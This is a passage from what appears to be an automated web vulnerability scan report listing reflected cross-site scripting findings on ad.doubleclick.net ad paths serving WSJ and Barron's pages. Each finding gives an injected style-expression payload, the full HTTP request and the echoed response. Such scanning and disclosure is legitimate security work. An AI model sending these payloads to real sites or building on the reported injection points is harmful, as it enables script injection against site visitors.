Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:15:20 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 598

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/f;237099366;0-0;0;45555479;1932-140/31;40930725/40948512/1;;~okv=;!category=;;mc=0;tile=4;sz=140x31;2e79e"style="x:expression(alert(1))"93db2689eb3;~aopt=2/1/ff/1;~sscs=%3fhttp://ad.doubleclick.net/clk;237018358;60534698;r?http://www.wellsfargoadvisors.com?cid=OB110032231">
...[SNIP]...

4.7. http://ad.doubleclick.net/adi/barrons.com/sponsor_pickspans [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/sponsor_pickspans

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5892a"style%3d"x%3aexpression(alert(1))"347383c07ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5892a"style="x:expression(alert(1))"347383c07ec in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/barrons.com/sponsor_pickspans;!category=;;mc=0;tile=4;sz=140x31;ord=2194219421942194;&5892a"style%3d"x%3aexpression(alert(1))"347383c07ec=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:15:44 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 601

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/f;237099366;0-0;0;45555479;1932-140/31;40930725/40948512/1;;~okv=;!category=;;mc=0;tile=4;sz=140x31;&5892a"style="x:expression(alert(1))"347383c07ec=1;~aopt=2/1/ff/1;~sscs=%3fhttp://ad.doubleclick.net/clk;237018358;60534698;r?http://www.wellsfargoadvisors.com?cid=OB110032231">
...[SNIP]...

4.8. http://ad.doubleclick.net/adi/interactive.wsj.com/business_econ_front [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/business_econ_front

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2c68"style%3d"x%3aexpression(alert(1))"2faf44bbda4 was submitted in the !category parameter. This input was echoed as f2c68"style="x:expression(alert(1))"2faf44bbda4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/business_econ_front;!category=;;mc=b2pfreezone;tile=2;sz=377x140;ord=5370537053705370;f2c68"style%3d"x%3aexpression(alert(1))"2faf44bbda4 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-economy.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:12:49 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 499

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/t;241062548;0-0;0;29217796;29332-377/140;42095072/42112859/1;;~okv=;!category=;;mc=b2pfreezone;tile=2;sz=377x140;f2c68"style="x:expression(alert(1))"2faf44bbda4;~aopt=2/1/ff/1;~sscs=%3fhttp://www.smartmoney.com">
...[SNIP]...

4.9. http://ad.doubleclick.net/adi/interactive.wsj.com/news_front [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_front

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be652"style%3d"x%3aexpression(alert(1))"dfb7c8c44e4 was submitted in the !category parameter. This input was echoed as be652"style="x:expression(alert(1))"dfb7c8c44e4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/news_front;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=3;sz=571x18;ord=8089808980898089;be652"style%3d"x%3aexpression(alert(1))"dfb7c8c44e4 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:10:06 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 561

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/m;232232404;0-0;11;29218002;28583-571/18;39182112/39199899/1;;~okv=;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=3;sz=571x18;be652"style="x:expression(alert(1))"dfb7c8c44e4;~aopt=2/1/ff/1;~sscs=%3fhttps://order.wsj.com/sub/xdef/101/6BCWAE_OOT20">
...[SNIP]...

4.10. http://ad.doubleclick.net/adi/interactive.wsj.com/news_front [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_front

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98f33"%20style%3dx%3aexpression(alert(1))%208546d2741e6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 98f33" style=x:expression(alert(1)) 8546d2741e6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/news_front;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=3;sz=571x18;ord=8089808980898089;&98f33"%20style%3dx%3aexpression(alert(1))%208546d2741e6=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:10:16 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 564

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/m;232232404;0-0;11;29218002;28583-571/18;39182112/39199899/1;;~okv=;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=3;sz=571x18;&98f33" style=x:expression(alert(1)) 8546d2741e6=1;~aopt=2/1/ff/1;~sscs=%3fhttps://order.wsj.com/sub/xdef/101/6BCWAE_OOT20">
...[SNIP]...

4.11. http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_taxreportstory

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f99f7"style%3d"x%3aexpression(alert(1))"48997269cdb was submitted in the !category parameter. This input was echoed as f99f7"style="x:expression(alert(1))"48997269cdb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/news_taxreportstory;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=3;sz=377x135;ord=8961896189618961;f99f7"style%3d"x%3aexpression(alert(1))"48997269cdb HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 11:37:34 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 599

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/s;223842858;0-0;2;15067118;33675-377/135;41133343/41151130/1;;~okv=;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=3;sz=377x135;f99f7"style="x:expression(alert(1))"48997269cdb;~aopt=2/1/ff/1;~sscs=%3fhttp://itunes.apple.com/app/the-wall-street-journal/id364387007?mt=8">
...[SNIP]...

4.12. http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_taxreportstory

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1befe"style%3d"x%3aexpression(alert(1))"3c3863dbd13 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1befe"style="x:expression(alert(1))"3c3863dbd13 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/news_taxreportstory;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=3;sz=377x135;ord=8961896189618961;&1befe"style%3d"x%3aexpression(alert(1))"3c3863dbd13=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 11:37:40 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 602

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/s;223842858;0-0;2;15067118;33675-377/135;41133343/41151130/1;;~okv=;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=3;sz=377x135;&1befe"style="x:expression(alert(1))"3c3863dbd13=1;~aopt=2/1/ff/1;~sscs=%3fhttp://itunes.apple.com/app/the-wall-street-journal/id364387007?mt=8">
...[SNIP]...

4.13. http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/personalfinance_newsreel

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e62da"style%3d"x%3aexpression(alert(1))"2236a8fae01 was submitted in the !category parameter. This input was echoed as e62da"style="x:expression(alert(1))"2236a8fae01 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/personalfinance_newsreel;!category=;page=newsReelAd;biz=1053;;s=8_10001;mc=b2pfreezone;tile=2;sz=230x70;ord=3954395439543954;e62da"style%3d"x%3aexpression(alert(1))"2236a8fae01 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748703730804576313682030967852
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:38:26 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 551

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/a;215945709;0-0;0;31680223;1839-230/70;40077459/40095246/1;;~okv=;!category=;page=newsReelAd;biz=1053;;s=8_10001;mc=b2pfreezone;tile=2;sz=230x70;e62da"style="x:expression(alert(1))"2236a8fae01;~aopt=6/1/ff/1;~sscs=%3fhttp://www.wsjwine.com/2857005?reflink=djm_newsreel_wine">
...[SNIP]...

4.14. http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/personalfinance_newsreel

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d672d"style%3d"x%3aexpression(alert(1))"37335724abd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d672d"style="x:expression(alert(1))"37335724abd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/personalfinance_newsreel;u=%5E%5ElA;!category=;biz=1053;;s=8_10001;mc=b2pfreezone;tile=1;sz=2x94;ord=1066106610661066;&d672d"style%3d"x%3aexpression(alert(1))"37335724abd=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748703730804576313682030967852
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:39:04 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 459

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/s;44306;0-0;0;31680223;31596-2/94;0/0/0;u=^^lA;~okv=;u=^^lA;!category=;biz=1053;;s=8_10001;mc=b2pfreezone;tile=1;sz=2x94;&d672d"style="x:expression(alert(1))"37335724abd=1;~aopt=2/1/ff/1;~sscs=%3f">
...[SNIP]...

4.15. http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel [u parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/personalfinance_newsreel

Issue detail

The value of the u request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 718d4"style%3d"x%3aexpression(alert(1))"8d3f641a6d3 was submitted in the u parameter. This input was echoed as 718d4"style="x:expression(alert(1))"8d3f641a6d3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/personalfinance_newsreel;u=%5E%5ElA;!category=;biz=1053;;s=8_10001;mc=b2pfreezone;tile=1;sz=2x94;ord=1066106610661066;718d4"style%3d"x%3aexpression(alert(1))"8d3f641a6d3 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748703730804576313682030967852
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:38:18 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 456

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/s;44306;0-0;0;31680223;31596-2/94;0/0/0;u=^^lA;~okv=;u=^^lA;!category=;biz=1053;;s=8_10001;mc=b2pfreezone;tile=1;sz=2x94;718d4"style="x:expression(alert(1))"8d3f641a6d3;~aopt=2/1/ff/1;~sscs=%3f">
...[SNIP]...

4.16. http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/pf_weekendinvestor

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2cfd2"style%3d"x%3aexpression(alert(1))"5a8be0492cb was submitted in the !category parameter. This input was echoed as 2cfd2"style="x:expression(alert(1))"5a8be0492cb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;;mc=b2pfreezone_super;tile=2;sz=571x208;ord=6291629162916291;2cfd2"style%3d"x%3aexpression(alert(1))"5a8be0492cb HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:37:49 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 572

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/y;218880928;0-0;1;49299998;28945-571/208;36054130/36072016/1;;~okv=;!category=;page=article;;mc=b2pfreezone_super;tile=2;sz=571x208;2cfd2"style="x:expression(alert(1))"5a8be0492cb;~aopt=2/1/ff/1;~sscs=%3fhttp://commerce.wsj.com/auth/login?roles=FREEREG-BASE&reg-track-code=ss3_0310">
...[SNIP]...

4.17. http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/pf_weekendinvestor

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6da8"style%3d"x%3aexpression(alert(1))"491de8a7ea7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d6da8"style="x:expression(alert(1))"491de8a7ea7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;;mc=b2pfreezone_super;tile=2;sz=571x208;ord=6291629162916291;&d6da8"style%3d"x%3aexpression(alert(1))"491de8a7ea7=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:38:36 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 575

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/y;218880928;0-0;1;49299998;28945-571/208;36054130/36072016/1;;~okv=;!category=;page=article;;mc=b2pfreezone_super;tile=2;sz=571x208;&d6da8"style="x:expression(alert(1))"491de8a7ea7=1;~aopt=2/1/ff/1;~sscs=%3fhttp://commerce.wsj.com/auth/login?roles=FREEREG-BASE&reg-track-code=ss3_0310">
...[SNIP]...

4.18. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front_tilebot

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9678b"style%3d"x%3aexpression(alert(1))"93b4aee328e was submitted in the !category parameter. This input was echoed as 9678b"style="x:expression(alert(1))"93b4aee328e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/rej_front_tilebot;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=3;tile=5;sz=120x90;ord=5003500350035003;9678b"style%3d"x%3aexpression(alert(1))"93b4aee328e HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:40:48 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 525

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/m;237012713;0-0;1;60333544;2-120/90;40909831/40927618/1;;~okv=;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=3;tile=5;sz=120x90;9678b"style="x:expression(alert(1))"93b4aee328e;~aopt=2/1/ff/1;~sscs=%3fhttp://www.Brownharrisstevens.com">
...[SNIP]...

4.19. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front_tilebot

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b79d6"style%3d"x%3aexpression(alert(1))"80c502dadb5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b79d6"style="x:expression(alert(1))"80c502dadb5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

